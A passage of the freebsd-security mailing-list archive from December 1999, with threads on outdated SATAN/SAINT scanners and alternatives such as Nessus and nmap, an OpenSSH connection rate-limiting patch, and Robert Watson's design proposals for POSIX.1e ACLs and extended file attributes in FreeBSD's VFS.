From owner-freebsd-security Sun Dec 5 0:49:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from ducky.nz.freebsd.org (chilled.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id 37310150F2; Sun, 5 Dec 1999 00:49:09 -0800 (PST) (envelope-from dan@langille.org) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ducky.nz.freebsd.org (8.9.3/8.9.3) with ESMTP id VAA42053; Sun, 5 Dec 1999 21:47:55 +1300 (NZDT) Message-Id: <199912050847.VAA42053@ducky.nz.freebsd.org> From: "Dan Langille" Organization: langille.org To: Kris Kennaway Date: Sun, 5 Dec 1999 21:47:54 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Satan Considered Harmful (Re: Anyone got Satan to run?) Reply-To: dan@langille.org Cc: freebsd-security@freebsd.org References: <199912050627.TAA41531@ducky.nz.freebsd.org> In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12a) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 4 Dec 99, at 22:37, Kris Kennaway wrote: > See http://www.hackernews.com/orig/whyvuln.html > > Satan is really, really useless thesedays (if it ever wasn't). I can't get SAINT to run either. At least not from the http interface. It appears to work from the command line. -- Dan Langille [I'm looking for more work] http://www.langille.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 7:34:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id D809014BD0 for ; Sun, 5 Dec 1999 07:34:40 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id KAA05360; Sun, 5 Dec 1999 10:34:36 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Sun, 5 Dec 1999 10:34:36 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Ilmar S. Habibulin" Cc: freebsd-security@FreeBSD.ORG Subject: Re: ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 5 Dec 1999, Ilmar S. Habibulin wrote: > On Fri, 3 Dec 1999, Robert Watson wrote: > > > > > Changes since last time: > > > > 4.0-CURRENT support > > vop_generic_getacl fixed (was pretty broken) > > acl_to_text now handles userids without usernames in pwd.db > Is -current posix target platform now? Probably, but I'm still concerned that -CURRENT is not stable enough to develop on cleanly. I hope to get the API/vnops/etc into -CURRENT, but probably continue my own work on -RELEASE and port it forwards to -CURRENT intermittently. The problem is that the 4.0 feature freeze is in a week, and then it will get stable but they won't accept new features. :-) If we could get ACLs in, even without storage in FFS, that would be a great step forwards. My guess is auditing won't be ready for 4.0, but hopefully will be for whatever the next major 4.x release is. We might want to get MAC and Capabilities in around then, although if you're reached final conclusions on changes to the vnops and syscalls for capabilities we could try and get them in now. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 10:43:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from green.dyndns.org (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 6857015343 for ; Sun, 5 Dec 1999 10:43:07 -0800 (PST) (envelope-from green@FreeBSD.org) Received: from localhost (green@localhost [127.0.0.1]) by green.dyndns.org (8.9.3/8.9.3) with ESMTP id NAA55280; Sun, 5 Dec 1999 13:42:57 -0500 (EST) (envelope-from green@FreeBSD.org) Date: Sun, 5 Dec 1999 13:42:56 -0500 (EST) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: security@FreeBSD.org Cc: markus@OpenBSD.org Subject: Please review: OpenSSH rate-limiting Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In order to prevent DoS attacks from increasing system load, I've added a "ConnectionsPerPeriod" setting to OpenSSH's sshd(8). I've now updated the documentation, changed the sample configuration file to use a LoginGraceTime of 1 minute and ConnectionsPerPeriod setting of 5 connections per 10 seconds, in addition to the actual code which implements the rate-limiting. If there are no obstructing objections, I'd like to commit it to the OpenSSH port. Diffs relative to the current OpenSSH port can be found at http://www.FreeBSD.org/~green/openssh.connectionsperperiod.patch MD5 (openssh.connectionsperperiod.patch) = f42429503f29c073e3e5a835e95d8b02 Thanks in advance! -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 12:25:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id AF98514DCA; Sun, 5 Dec 1999 12:25:06 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id PAA06444; Sun, 5 Dec 1999 15:25:06 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Sun, 5 Dec 1999 15:25:05 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: freebsd-arch@freebsd.org Subject: ACL support: semantics vs. syntax in the context of multiple types of ACLs over multiple file systems in the VFS Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I thought I'd send out an email to discuss some design issues in the implementation of ACL support for FreeBSD. As you probably know, I'm in the process of implementing support for POSIX.1e security extensions to FreeBSD, and this includes support for Access Control Lists for files and directories (and possibly other things :-). The design questions arise because access control, in most cases, is a per-file system design. In FFS, there are file owners, groups, permissions for them, and some additional extended flags. In Coda and AFS, directories have a more extended set of permissions, but individual files don't have individual access control restrictions. In POSIX.1e, ACL semantics define an ACL for each file, and two for each directory (an access ACL, and a default ACL for new children). To a large extent, these ACLs all have the same syntax: a (sometimes restricted) list of ids (of some kind), with a bitmask of rights associated with them. What differs is the exact definition of what the id's refer to, and what the rights are, as well as some restrictions on combinations of ids and rights, as well as ACL targets. This suggests a model wherein the operations exposed to the VFS (i.e., vop_getacl and vop_setacl) require a specific syntax, but leave the specific semantics to whatever layer of the file system stack receives the request. For example, FFS might choose to map ACL operations onto standard attributes/permissions, and only allow ACLs that fit the possible permissions in FFS. AFS might choose to interpret the id's in question as viceids, and the permission mask as AFS permissions. An ACLfs extension to FFS might choose the POSIX.1e semantics. This would leave it up to the calling program to choose the correct type of ACL when setting it for a file or directory, and the requested ACL would be rejected if it didn't match. This leaves opportunities for a number of problems, including confusion by the user, application of an ACL designed for one set of semantics on another set of semantics, etc. Also, it means that some of the POSIX.1e ACL calls (such as acl_valid()) now depend on the target, not just on the ACL itself as a data structure, introducing a lot of complexity. That said, this may be the only way to go. The vast majority of UNIX operating systems have selected either direct POSIX.1e ACL syntax + semantics, or closely related semantics/syntax, including Solaris, IRIX, HPUX, and Linux. But given the complexity of POSIX.1e ACL behavior, and the desire to support other ACL models (such as the intuitive and powerful AFS/Coda model), we would also rather not define a mechanism useful for only one set of semantics. As such, I'm suggesting moving from just vop_getacl and vop_setacl VOPs, to: VOP_ACLVALID(vp, acl, type) VOP_GETACL(vp, acl, type) VOP_SETACL(vp, acl, type) Where type continues to index into the set of available ACLs for the vnode (access, default, etc), and acl is the desired ACL. The acl_valid() POSIX.1e call, currently handled in the library, would now query the vnode it would be applied to to see if the vnode would accept the ACL. The existing POSIX.1e acl_valid() call would simply ask whatever the root file system was whether the ACL was valid for it, and would be depreciated in favor of acl_valid_file() and acl_valid_fd() with specific targets. Currently POSIX.1e defines an ACL entry as being made up of three parts -- an id, id qualifier, and permission set. The id identifies a principal, the qualifier, the namespace for the principal, and the permission set is the mask of rights. POSIX.1e defines several qualifier types, including ACL_USER_OBJ, ACL_USER, ACL_GROUP_OBJ, ACL_GROUP, ACL_OTHER, and ACL_MASK. I believe expanding this namespace is sufficient to take into account differing semantics, although I'm not sure. For example, we could add an ACL_AFS_ID to indicate that the ACL applied to an AFS viceid. Presumably AFS vnodes would reject ACLs with qualifiers other than this, and POSIX.1e file systems would reject AFS entries. Another alternative would be to introduce additional ACL types, but I think that is not intuitive, as the types are currently "access" and "default", and "access" has the same semantics in both POSIX.1e and AFS. The advantage of all this is removing complexity and semantics awareness in the syscall and vnops, but the disadvantage is increasing awareness of semantics in the library -- the awareness in the file system itself was always required. The library would now have to be aware of how to print and interpret text versions of differing ACL types. So when AFS was added, it would just be a kernel module, but also a libc update. We might consider pluggable file system components in libc, but I see that as a hard task to address correctly (although it might be desirable, especially given different principal namespaces and the desire to print principal names in ls -l, etc). I plan to go ahead and reimplement components of the current ACL code to reflect this goal of a semantics-unaware vnops and syscall interface (for example, acl_syscall_set_file will no longer check ACL validity, instead rely on the fs to do this), but would like comments on whether this model suits the needs of the various ACL interface consumers, such as FFS ACL people, AFS people, Coda people, and concerned parties :-). It would also mean we could make use of a better ACL scheme on our own file systems yet support Solaris or IRIX exported file systems with POSIX.1e, and also support the new NFSv4 ACL scheme which is different from any of those mentioned so far :-). I've BCC'd this -security because -security people are interested in ACLs, but it's probably discussion for -arch, so it's actually addressed there. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 12:37:27 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 5BD091543A; Sun, 5 Dec 1999 12:37:26 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 4CDA01CD73E; Sun, 5 Dec 1999 12:37:26 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Sun, 5 Dec 1999 12:37:26 -0800 (PST) From: Kris Kennaway To: Dan Langille Cc: freebsd-security@freebsd.org Subject: Re: Satan Considered Harmful (Re: Anyone got Satan to run?) In-Reply-To: <199912050847.VAA42053@ducky.nz.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 5 Dec 1999, Dan Langille wrote: > I can't get SAINT to run either. At least not from the http interface. It > appears to work from the command line. Look at nessus in ports - this seems to be an actively developed and updated scanner. Sorry, I should have mentioned this originally. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 12:43:45 1999 Delivered-To: freebsd-security@freebsd.org Received: from smtp.interact.se (smtp1.interact.se [193.15.98.9]) by hub.freebsd.org (Postfix) with ESMTP id AE9551543A; Sun, 5 Dec 1999 12:43:40 -0800 (PST) (envelope-from je@interact.se) Received: from wolfie.interact.se (wolfie.interact.se [193.15.98.202]) by smtp.interact.se (InterACT Mailer) with ESMTP id VAA13934; Sun, 5 Dec 1999 21:45:35 +0100 (CET) Date: Sun, 5 Dec 1999 21:43:42 +0100 (CET) From: Jonas Eriksson To: Kris Kennaway Cc: Dan Langille , freebsd-security@FreeBSD.ORG Subject: Re: Satan Considered Harmful (Re: Anyone got Satan to run?) In-Reply-To: Message-ID: X-Mascot: Homer Simpson MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I can't get SAINT to run either. At least not from the http interface. It > > appears to work from the command line. > > Look at nessus in ports - this seems to be an actively developed and > updated scanner. Sorry, I should have mentioned this originally. > Or http://www.nessus.org -- Jonas Eriksson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 13:31:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id C1509152A9 for ; Sun, 5 Dec 1999 13:31:12 -0800 (PST) (envelope-from unfurl@magnesium.net) Received: (qmail 80526 invoked by uid 1001); 5 Dec 1999 21:31:11 -0000 Date: 5 Dec 1999 13:31:11 -0800 Date: Sun, 5 Dec 1999 13:31:11 -0800 From: Bill Swingle To: security@freebsd.org Subject: Re: Satan Considered Harmful (Re: Anyone got Satan to run?) Message-ID: <19991205133111.B80058@dub.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I personally don't put too much stock in scanner packages, of course I'm also massivly paranoid :) Dan, if you haven't read it yet, jkb's page on FreeBSD security basic's is a good place to start. http://www.freebsd.org/~jkb/howto.html -Bill On Sun, Dec 05, 1999 at 09:43:42PM +0100, Jonas Eriksson wrote: > > > > I can't get SAINT to run either. At least not from the http interface. It > > > appears to work from the command line. > > > > Look at nessus in ports - this seems to be an actively developed and > > updated scanner. Sorry, I should have mentioned this originally. > > > > Or http://www.nessus.org > > > -- Jonas Eriksson > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- -=| --- B i l l S w i n g l e --- http://www.dub.net/ -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com -=| Different all twisty a of in maze are you, passages little To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 20:47:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from ducky.nz.freebsd.org (chilled.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id 03BF214DF1 for ; Sun, 5 Dec 1999 20:47:22 -0800 (PST) (envelope-from dan@langille.org) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ducky.nz.freebsd.org (8.9.3/8.9.3) with ESMTP id RAA45810; Mon, 6 Dec 1999 17:47:10 +1300 (NZDT) Message-Id: <199912060447.RAA45810@ducky.nz.freebsd.org> From: "Dan Langille" Organization: langille.org To: Jonas Eriksson Date: Mon, 6 Dec 1999 17:47:09 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Satan Considered Harmful (Re: Anyone got Satan to run?) Reply-To: dan@langille.org Cc: freebsd-security@FreeBSD.ORG References: In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12a) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 5 Dec 99, at 21:43, Jonas Eriksson wrote: > > > > I can't get SAINT to run either. At least not from the http interface. > > > It appears to work from the command line. > > > > Look at nessus in ports - this seems to be an actively developed and > > updated scanner. Sorry, I should have mentioned this originally. > > > > Or http://www.nessus.org Thanks for the recommendations. From what I can tell, nessus requires X. And I don't run X on my boxes. cheers. -- Dan Langille [I'm looking for more work] http://www.langille.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 20:50:45 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 2418C14DF1 for ; Sun, 5 Dec 1999 20:50:42 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id VAA16768; Sun, 5 Dec 1999 21:50:28 -0700 (MST) Message-Id: <4.2.0.58.19991205214955.03d25270@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 05 Dec 1999 21:50:26 -0700 To: dan@langille.org, freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: Anyone got Satan to run? In-Reply-To: <199912050627.TAA41531@ducky.nz.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org SATAN is way, way, WAAAAAAAY out of date. Don't bother with it. --Brett At 11:27 PM 12/4/1999 , Dan Langille wrote: >I downloaded and installed Satan 1.1.1 today. But I have yet to get it to >do anything for me. I can't get past the "Warning - SATAN Password >Disclosure" screen. > >Following the README, I first ran the reconfig script, then did a "make >bsd" (fwiw, "make freebsd" appears to be a feature which doesn't appear >in the list if you just type make). > >Then I started the satan script from the main directory. Then Target >Selection. Entered the IP address of the host to scan. Went for >"heavy" and pressed "Start the scan". It goes to the "Warning - SATAN >Password Disclosure" screen. I go back the previous page and press >"Start the scan again". > >And nothing happens. top shows nil activity. The logs are inactive. > >Ummm, I give up. I'm on 3.3-RELEASE. > >cheers >-- >Dan Langille - DVL Software Limited [I'm looking for more work] >The FreeBSD Diary - http://www.freebsddiary.org/freebsd/ >NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ >The Racing System - http://www.racingsystem.com/racingsystem.htm >unix @ home - http://www.unixathome.org/ > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Dec 5 22:36:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id AB37D14CB1 for ; Sun, 5 Dec 1999 22:36:03 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id JAA05586; Mon, 6 Dec 1999 09:36:02 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdsZ5584; Mon Dec 6 09:35:56 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id JAA60693; Mon, 6 Dec 1999 09:35:54 +0300 (MSK) Date: Mon, 6 Dec 1999 09:35:54 +0300 (MSK) From: "Ilmar S. Habibulin" To: Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Re: ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 5 Dec 1999, Robert Watson wrote: > > Is -current posix target platform now? [...] > My guess is auditing won't be ready for 4.0, but hopefully will be for > whatever the next major 4.x release is. We might want to get MAC and > Capabilities in around then, although if you're reached final conclusions > on changes to the vnops and syscalls for capabilities we could try and get > them in now. What conclusion should i reach? I just need some space about 17 or let it be 24 bytes. I have all needed syscalls for CAP and MAC. I have freezed the development right now waiting for ACLs inclusion somewhere in the freebsd main source tree. All this posix stuff is very combined(?). MAC is nothing without AUDIT and so on. I would like to include all developed posix stuff in some development brunch, maybe -verrry-current ;-), and continue centralized development. The question is would freebsd project support posix 1e? Do the freebsd team need these extended security features in their OS? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 6 1:33:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from bart.esiee.fr (bart.esiee.fr [147.215.1.20]) by hub.freebsd.org (Postfix) with ESMTP id E186014BEA for ; Mon, 6 Dec 1999 01:33:09 -0800 (PST) (envelope-from freebsd@bart.esiee.fr) Received: (from freebsd@localhost) by bart.esiee.fr (8.9.3/8.9.3) id KAA15094 for freebsd-security@freebsd.org; Mon, 6 Dec 1999 10:33:08 +0100 (MET) From: FreeBSD Admin Message-Id: <199912060933.KAA15094@bart.esiee.fr> Subject: securing a mailhub To: freebsd-security@freebsd.org Date: Mon, 06 Dec 1999 10:33:08 MET X-Mailer: Elm [revision: 212.4] Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi I need some experts advices to get maximal security for our mailhub. The machine is a PII 450 Mhz with 256 Mb RAM running FreeBSD 3.x ( soon 3.3 ) and act as a mailhub for our site with the lastest Postfix stable release. I would like to secure as much as possible this machine as it must runs inetd to support POP and IMAP accesses. I have tcp_wrapper installed. My request concerns kernel, filesystem and all tricks FreeBSD gurus could give to me. TIA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 6 15:21:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 4806D1505F; Mon, 6 Dec 1999 15:21:10 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id SAA13228; Mon, 6 Dec 1999 18:21:16 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Mon, 6 Dec 1999 18:21:16 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: freebsd-arch@freebsd.org Subject: Extended File Attributes for FFS (request for design comments) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Adding trusted operating system behavior (MAC, Capabilities, ACLs, etc) to FreeBSD requires that additional state be maintained for files and directories. For example, in POSIX.1e, an ACL is maintained for each file, and two for directories. Similarly, a MAC label is required for each file and directory in the file system. This, of course, raises the issue of where to keep this data. Various operating systems take various approaches -- I posted a fairly comprehensive list of OS choices on the posix1e mailing list a couple of months ago while looking for a solution. They vary from extra block pointers, additional inodes, userland databases with upcalls, etc. The cleanest solution, in my view, was the IRIX XFS extended attribute code. Named extended attributes are defined for each inode, and may contain arbitrary information. Needless to say, there is performance overhead associated with this approach, but it seemed the most flexible from a new feature standpoint, and still allowed for optimization, etc. As such, I'd like to suggest a similar mechanism for our VFS, along with a hacky implementation for FFS that is sufficient to back the ACL, Capability, and MAC support until we have functioning layering. Even after layering, the VFS vnops still need expanding to support this functionality, so that would stick around. Two new vnops would be introduced for managing extended attributs: vop_setextattr(vp, name, buffer, len) Set an extended attribute: vp vnode pointer to set attribute for name attribute to set buffer data for attribute value len length of data Returns 0 on success, otherwise an error. buffer of size len must fit into the preconfigured attribute size. vop_getextattr(vp, name, buffer, &len) Get an extended attribute: vp vnode pointer to get attribute fur name attribute to get buffer buffer for data len input: length of buffer; output: length of data Returns 0 on success, otherwise an error. buffer of size len must be able to hold all of preconfigured attribute size, or an error will be returned. My assumption is that these attributes would be of fixed size, and a predetermined maximum size. This is consistent with the various security attributes we've looked at, and some of the none-security uses of attributes. Each file/directory would have a set of named attributes, settable and retrievable using this interface. Decent names might include EXTATTR_ACL_ACCESS, EXTATTR_ACL_DEFAULT, EXTATTR_MAC_LABEL, etc. You can easily imagine backing this with a layered fs implementation on top of FFS--for example, an ACLfs that converts get/set ACL calls to extended attribute calls, and hooks open(/etc) to make use of the ACLs for access control (this is very similar to work done by Jeff Weidner at UCLA as part of the layering work). However, the ACL code is ready to go today, and needs backing to get it to work, so waiting for layering is probably not an option. As an interim solution, I'd like to implement an attribute solution for UFS (and hence FFS, MFS) which, like quotas, makes use of files off of the file system root. Each named attribute would be backed by a file attribute/name, and effectively be an array of attribute data, indexed by inode number. Hooks, as with quotas, would be stuck in inode allocation and freeing, etc. ACL calls on UFS would be converted, within UFS, to attribute calls, etc. This solution is not as clean as the layering solution, but would be relatively quick to implement. This raises questions such as how to runtime configure support for attributes, ACLs, etc. My guess is that a mount flag, extattr, would be defined to enable support for extended attributes, and automatic loading of attribute data from attributes/ off of the fs root. It might be desirable to seperately enable ACL support (and so on) via other flags, although this is less clean. Quota's define a quotactl syscall/vop to manage UFS quota behavior, but that seems not-so-general. I'm not sure that there is currently a mechanism to push configuration information down the VFS stacks to specific file systems, other than the mount info. One possibility would be to add a control MIB of some kind and a management call in VFS, or just to use sysctl and go outside the framework of VFS. These areas where I'd much appreciate comments. I would like to start implementing this later this week, starting with VFS calls (the above are my proposed prototypes, but suggestions are welcome) followed by a UFS implementation RSN so that we can back ACLs, Capabilities, and MAC onto it and make some more progress in getting these working. Thanks, Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 6 15:34:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from lansolo.actv.com (smtp.actv.com [208.246.40.99]) by hub.freebsd.org (Postfix) with ESMTP id 3367D14F96 for ; Mon, 6 Dec 1999 15:34:22 -0800 (PST) (envelope-from mchugh@hypertv.com) Received: from hypertv.com (216.35.73.101 [216.35.73.101]) by lansolo.actv.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id YGBBP3DG; Mon, 6 Dec 1999 18:40:39 -0500 Message-ID: <384C01F7.2BE2851F@hypertv.com> Date: Mon, 06 Dec 1999 18:35:35 +0000 From: michaelm X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: security@freebsd.org Subject: [Fwd: Satan Considered Harmful (Re: Anyone got Satan to run?)] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Fyodor's nmap is excellent, and it's available as a FreeBSD package... Bill Swingle wrote: > > I personally don't put too much stock in scanner packages, of course I'm > also massivly paranoid :) > > Dan, if you haven't read it yet, jkb's page on FreeBSD security basic's > is a good place to start. > > http://www.freebsd.org/~jkb/howto.html > > -Bill > > On Sun, Dec 05, 1999 at 09:43:42PM +0100, Jonas Eriksson wrote: > > > > > > I can't get SAINT to run either. At least not from the http interface. It > > > > appears to work from the command line. > > > > > > Look at nessus in ports - this seems to be an actively developed and > > > updated scanner. Sorry, I should have mentioned this originally. > > > > > > > Or http://www.nessus.org > > > > > > -- Jonas Eriksson > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > -- > -=| --- B i l l S w i n g l e --- http://www.dub.net/ > -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com > -=| Different all twisty a of in maze are you, passages little > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Dec 6 15:41:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id D5B3D14F96 for ; Mon, 6 Dec 1999 15:41:10 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id SAA13305; Mon, 6 Dec 1999 18:41:13 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Mon, 6 Dec 1999 18:41:13 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Ilmar S. Habibulin" Cc: freebsd-security@FreeBSD.ORG Subject: Re: ACL-0.1.1.tgz: updated for -CURRENT, some bugfixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 6 Dec 1999, Ilmar S. Habibulin wrote: > On Sun, 5 Dec 1999, Robert Watson wrote: > > > > Is -current posix target platform now? > [...] > > My guess is auditing won't be ready for 4.0, but hopefully will be for > > whatever the next major 4.x release is. We might want to get MAC and > > Capabilities in around then, although if you're reached final conclusions > > on changes to the vnops and syscalls for capabilities we could try and get > > them in now. > What conclusion should i reach? I just need some space about 17 or let it > be 24 bytes. I have all needed syscalls for CAP and MAC. > I have freezed the development right now waiting for ACLs inclusion > somewhere in the freebsd main source tree. All this posix stuff is very > combined(?). MAC is nothing without AUDIT and so on. > I would like to include all developed posix stuff in some development > brunch, maybe -verrry-current ;-), and continue centralized > development. The question is would freebsd project support posix 1e? > Do the freebsd team need these extended security features in their OS? As you may have seen in my recent post, I agree that disk storage is something we need to address ASAP, and the best approach is probably extended attributes. I'd like to see support for ACL, CAP and MAC in the VFS interface directly, however, and finalize that API in time for the 4.0 feature freeze, even if we don't get storage ready by 4.0. For reference, here's my current iteration of the ACL vnops interface, with the modifications I discussed concerning stripping semantics from the VFS interface to 